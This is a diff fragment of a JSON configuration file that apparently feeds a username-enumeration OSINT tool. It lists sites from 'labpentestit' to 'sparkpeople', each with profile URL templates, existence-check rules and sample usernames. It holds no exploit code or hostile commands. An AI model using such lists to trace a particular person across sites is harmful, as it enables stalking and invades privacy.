+ "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "labpentestit": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "response_url", + "alexaRank": 1309593, + "urlMain": "https://lab.pentestit.ru/", + "url": "https://lab.pentestit.ru/profile/{username}", + "errorUrl": "https://lab.pentestit.ru/{username}", + "usernameClaimed": "CSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "last.fm": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 2183, + "urlMain": "https://last.fm/", + "url": "https://last.fm/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "leasehackr": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 37029, + "urlMain": "https://forum.leasehackr.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "linuxfoundation": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 26899, + "urlMain": "https://forum.linuxfoundation.org", + "url": "https://forum.linuxfoundation.org/profile/{username}", + "usernameClaimed": "chap92", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "linuxmint.info": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 6054365, + "urlMain": "http://linuxmint.info", + "url": "http://linuxmint.info/users/{username}", + "usernameClaimed": "freesoid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "lithotherapy": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2754382, + "urlMain": "https://forum.lithotherapy.ru", + "url": "https://forum.lithotherapy.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solomon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "losinopetrovsk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://losinopetrovsk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "markweinguitarlessons.com": { + "engine": "XenForo", + "alexaRank": 2301424, + "urlMain": "http://markweinguitarlessons.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "mastodon.cloud": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 377057, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.cloud/", + "url": "https://mastodon.cloud/@{username}", + "usernameClaimed": "TheAdmin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mastodon.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://mastodon.social/@{username}", + "usernameClaimed": "Gargron", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "mastodon.technology": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.technology/@{username}", + "usernameClaimed": "ashfurrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "mastodon.xyz": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.xyz/@{username}", + "usernameClaimed": "TheKinrar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mau": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1139439, + "urlMain": "https://forum.mau.ru", + "url": "https://forum.mau.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "curl", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "md": { + "tags": [ + "forum", + "md", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 - Not Found" + ], + "alexaRank": 2275804, + "urlMain": "https://forum.md/ru/", + "url": "https://forum.md/ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "medteh.info": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1290738, + "urlMain": "http://medteh.info", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mercadolivre": { + "tags": [ + "br" + ], + "checkType": "status_code", + "alexaRank": 361, + "urlMain": "https://www.mercadolivre.com.br", + "url": "https://www.mercadolivre.com.br/perfil/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "metacritic": { + "disabled": true, + "tags": [ + "us" + ], + "regexCheck": "^(?![-_])[A-Za-z0-9-_]{3,15}$", + "checkType": "message", + "absenceStrs": [ + "This user hasn\u2019t rated anything yet" + ], + "presenseStrs": [ + "Avg. User score" + ], + "alexaRank": 2409, + "urlMain": "https://www.metacritic.com/", + "url": "https://www.metacritic.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "mfd": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 61607, + "urlMain": "http://forum.mfd.ru", + "url": "http://forum.mfd.ru/forum/search/?query=&method=And&userQuery={username}", + "usernameClaimed": "rublevka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "michigan-sportsman.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 475252, + "urlMain": "http://www.michigan-sportsman.com/forum/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "microcap.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 7087371, + "urlMain": "https://microcap.forum24.ru", + "url": "https://microcap.forum24.ru/?32-{username}", + "usernameClaimed": "asuus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "millerovo161.ru": { + "engine": "uCoz", + "alexaRank": 7369958, + "urlMain": "http://millerovo161.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "milliarderr.com": { + "engine": "uCoz", + "urlMain": "http://milliarderr.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7486145 + }, + "mirf": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 61648, + "urlMain": "https://forum.mirf.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mirmuzyki.ucoz.net": { + "engine": "uCoz", + "alexaRank": 7782396, + "urlMain": "http://mirmuzyki.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mistral.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://mistral.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkr-rodniki.ru": { + "engine": "uCoz", + "urlMain": "http://mkr-rodniki.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12833632 + }, + "modnaya": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 589263, + "urlMain": "https://forum.modnaya.org/", + "url": "https://forum.modnaya.org/members/{username}.html", + "usernameClaimed": "werta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "morshansk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://morshansk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7727043 + }, + "moscherb.ru": { + "engine": "uCoz", + "alexaRank": 5638034, + "urlMain": "http://moscherb.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moskovia.moy.su": { + "engine": "uCoz", + "urlMain": "http://moskovia.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moto-travels.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1863517, + "urlMain": "http://moto-travels.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "motoomsk.ru": { + "engine": "uCoz", + "urlMain": "http://motoomsk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 13211617 + }, + "motorhomefun.co.uk": { + "disabled": true, + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 834914, + "urlMain": "http://www.motorhomefun.co.uk/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mssg.me": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 90236, + "urlMain": "https://mssg.me", + "url": "https://mssg.me/{username}", + "usernameClaimed": "siamparagon", + "usernameUnclaimed": "asadasdsd" + }, + "mstdn.io": { + "checkType": "status_code", + "alexaRank": 1755522, + "urlMain": "https://mstdn.io/", + "url": "https://mstdn.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mt5": { + "disabled": true, + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "engine": "vBulletin", + "alexaRank": 44211, + "urlMain": "https://forum.mt5.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "my-citrus.at.ua": { + "engine": "uCoz", + "urlMain": "http://my-citrus.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "naruto-base.tv": { + "engine": "uCoz", + "urlMain": "http://naruto-base.tv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "narutoclan.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://narutoclan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "medicine" + ], + "alexaRank": 7147964 + }, + "navi": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 129479, + "urlMain": "http://forum.navi.gg/", + "url": "http://forum.navi.gg/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "netbiz.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://netbiz.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12174626 + }, + "news.toretsk.online": { + "engine": "uCoz", + "urlMain": "http://news.toretsk.online", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ], + "alexaRank": 7164519 + }, + "nf-club.ru": { + "engine": "uCoz", + "alexaRank": 6042902, + "urlMain": "http://nf-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nhattao.com": { + "tags": [ + "forum", + "shopping", + "vn" + ], + "engine": "XenForo", + "alexaRank": 41011, + "urlMain": "https://www.nhattao.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "night.kharkov.ua": { + "engine": "uCoz", + "urlMain": "http://night.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5634451 + }, + "nightbot": { + "tags": [ + "jp", + "us" + ], + "urlProbe": "https://api.nightbot.tv/1/channels/t/{username}", + "checkType": "status_code", + "alexaRank": 14181, + "urlMain": "https://nightbot.tv/", + "url": "https://nightbot.tv/t/{username}/commands", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "nikoncafe.com": { + "engine": "XenForo", + "alexaRank": 824284, + "urlMain": "https://www.nikoncafe.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "photo" + ] + }, + "nikos.at.ua": { + "engine": "uCoz", + "urlMain": "http://nikos.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ua" + ] + }, + "not606.com": { + "engine": "XenForo", + "alexaRank": 3046188, + "urlMain": "http://www.not606.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "notabug.org": { + "tags": [ + "in", + "ma", + "ro", + "us" + ], + "urlProbe": "https://notabug.org/{username}/followers", + "checkType": "status_code", + "alexaRank": 339415, + "urlMain": "https://notabug.org/", + "url": "https://notabug.org/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "note": { + "tags": [ + "jp" + ], + "checkType": "status_code", + "alexaRank": 885, + "urlMain": "https://note.com/", + "url": "https://note.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nsk66.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://nsk66.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4212350 + }, + "nucastle.co.uk": { + "engine": "XenForo", + "urlMain": "http://www.nucastle.co.uk/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "oakleyforum.com": { + "engine": "XenForo", + "alexaRank": 434544, + "urlMain": "https://www.oakleyforum.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "odonvv.ru": { + "engine": "uCoz", + "alexaRank": 8230602, + "urlMain": "http://odonvv.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "officiating": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Euer Online Casino Forum Deutschland - PlaytimeNetwork" + ], + "urlMain": "https://forum.playtime-forum.info", + "url": "https://forum.playtime-forum.info/members/?username={username}", + "usernameClaimed": "Glumbi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "podolsk": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 396940, + "urlMain": "https://forum.podolsk.ru", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "polarsteps": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://api.polarsteps.com/users/byusername/{username}", + "checkType": "status_code", + "alexaRank": 311149, + "urlMain": "https://polarsteps.com/", + "url": "https://polarsteps.com/{username}", + "usernameClaimed": "james", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "popjustice": { + "tags": [ + "co", + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 225190, + "urlMain": "https://forum.popjustice.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pr0gramm": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "https://pr0gramm.com/", + "url": "https://pr0gramm.com/api/profile/info?name={username}", + "usernameClaimed": "cha0s", + "usernameUnclaimed": "noonewouldeverusethis123123123123123123", + "alexaRank": 5355 + }, + "privateinvestor2000.com": { + "engine": "uCoz", + "urlMain": "http://privateinvestor2000.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prizyvnikmoy.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 3195890, + "urlMain": "http://prizyvnikmoy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pro-cssteam.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-cssteam.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prog.hu": { + "tags": [ + "hu" + ], + "checkType": "response_url", + "alexaRank": 201253, + "urlMain": "https://prog.hu", + "url": "https://prog.hu/azonosito/info/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prosportsdaily": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 30882, + "urlMain": "https://forums.prosportsdaily.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "punx.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://punx.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pv-afghan.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pv-afghan.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3932899 + }, + "pvpru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "errors": { + "Access denied": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "alexaRank": 474448, + "urlMain": "https://pvpru.com/", + "url": "https://pvpru.com/board/member.php?username={username}&tab=aboutme#aboutme", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "python.su": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 580826, + "urlMain": "https://python.su/", + "url": "https://python.su/forum/user/{username}", + "usernameClaimed": "AlexaPan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qiwi.me": { + "disabled": true, + "tags": [ + "finance", + "ru" + ], + "urlProbe": "https://api.qiwi.me/piggybox/{username}", + "checkType": "message", + "absenceStrs": [ + "no piggybox found", + "invalid alias" + ], + "urlMain": "https://qiwi.me", + "url": "https://qiwi.me/{username}", + "usernameClaimed": "videokursy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qna.center": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 153017, + "urlMain": "https://qna.center", + "url": "https://qna.center/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "quik": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 363951, + "urlMain": "https://forum.quik.ru", + "url": "https://forum.quik.ru/user/{username}/", + "usernameClaimed": "swerg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radio_echo_msk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1460, + "urlMain": "https://echo.msk.ru/", + "url": "https://echo.msk.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radioskot": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 163733, + "urlMain": "https://radioskot.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "railforums.co.uk": { + "tags": [ + "forum", + "jp" + ], + "engine": "XenForo", + "alexaRank": 39031, + "urlMain": "https://www.railforums.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reality-check.ca": { + "disabled": true, + "engine": "XenForo", + "alexaRank": 2973813, + "urlMain": "https://www.reality-check.ca", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ca", + "forum", + "medicine" + ] + }, + "realitygaming.fr": { + "engine": "XenForo", + "urlMain": "http://realitygaming.fr/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7867305 + }, + "relasko.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 58356, + "urlMain": "http://relasko.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reverse4you": { + "tags": [ + "forum", + "lk", + "ru", + "ua" + ], + "disabled": true, + "engine": "Discourse", + "alexaRank": 718392, + "urlMain": "https://forum.reverse4you.org", + "usernameClaimed": "darwin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rezzoclub.ru": { + "engine": "uCoz", + "urlMain": "http://rezzoclub.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7286304 + }, + "ridemonkey.com": { + "engine": "XenForo", + "urlMain": "http://www.ridemonkey.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "ruboard": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 164556, + "urlMain": "https://forum.ruboard.ru", + "url": "https://forum.ruboard.ru/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rus-mmm.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rus-mmm.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "russiinitalia.com": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6440689, + "urlMain": "http://russiinitalia.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rybnoe.net": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1139706, + "urlMain": "http://rybnoe.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salavat.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://salavat.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salekhardnews.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://salekhardnews.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-rus.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 3612318, + "urlMain": "http://samp-rus.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-sektor.ru": { + "engine": "uCoz", + "alexaRank": 2318355, + "urlMain": "http://samp-sektor.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sanatorii": { + "tags": [ + "by", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 328058, + "urlMain": "http://forum.sanatorii.by", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "pavlovich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sciax2.it": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 771385, + "urlMain": "https://www.sciax2.it/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "scooterclub.kharkov.ua": { + "engine": "uCoz", + "alexaRank": 8737937, + "urlMain": "http://scooterclub.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "scuba": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5923852, + "urlMain": "http://forum.scuba-divers.ru/", + "usernameClaimed": "bubonic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "secret.kompas3d.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5554446, + "urlMain": "http://secret.kompas3d.su", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "segmentfault": { + "disabled": true, + "tags": [ + "cn" + ], + "checkType": "message", + "absenceStrs": [ + "message\":\"Not Found\"" + ], + "presenseStrs": [ + "- SegmentFault \u601d\u5426" + ], + "alexaRank": 2697, + "urlMain": "https://segmentfault.com/", + "url": "https://segmentfault.com/u/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "shadow-belgorod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://shadow-belgorod.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sibmama": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 37115, + "urlMain": "https://forum.sibmama.ru/", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "smart-lab.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 10244, + "urlMain": "https://smart-lab.ru/", + "url": "https://smart-lab.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soc-life.com": { + "presenseStrs": [ + "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + ], + "engine": "uCoz", + "alexaRank": 8235710, + "urlMain": "http://soc-life.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "socforum.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://socforum.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "social.tchncs.de": { + "tags": [ + "de", + "in" + ], + "checkType": "status_code", + "alexaRank": 489597, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://social.tchncs.de/", + "url": "https://social.tchncs.de/@{username}", + "usernameClaimed": "Milan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soft-wm.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://soft-wm.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "soldati-russian.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1104342, + "urlMain": "http://soldati-russian.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "somersoft.com": { + "engine": "XenForo", + "alexaRank": 1840542, + "urlMain": "https://www.somersoft.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "soslujivzi.ru": { + "engine": "uCoz", + "alexaRank": 3140321, + "urlMain": "http://soslujivzi.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sourceruns": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 824338, + "urlMain": "https://forums.sourceruns.org/", + "usernameClaimed": "cubedude", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "southbayriders.com": { + "engine": "XenForo", + "alexaRank": 998998, + "urlMain": "http://www.southbayriders.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "sovgavan.ru": { + "engine": "uCoz", + "alexaRank": 7910939, + "urlMain": "http://sovgavan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "soylentnews": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user you requested does not exist, no matter how much you wish this might be the case." + ], + "alexaRank": 1226454, + "urlMain": "https://soylentnews.org", + "url": "https://soylentnews.org/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sparkpeople": { + "tags": [ + "us" + ], + "checkType": "message", + 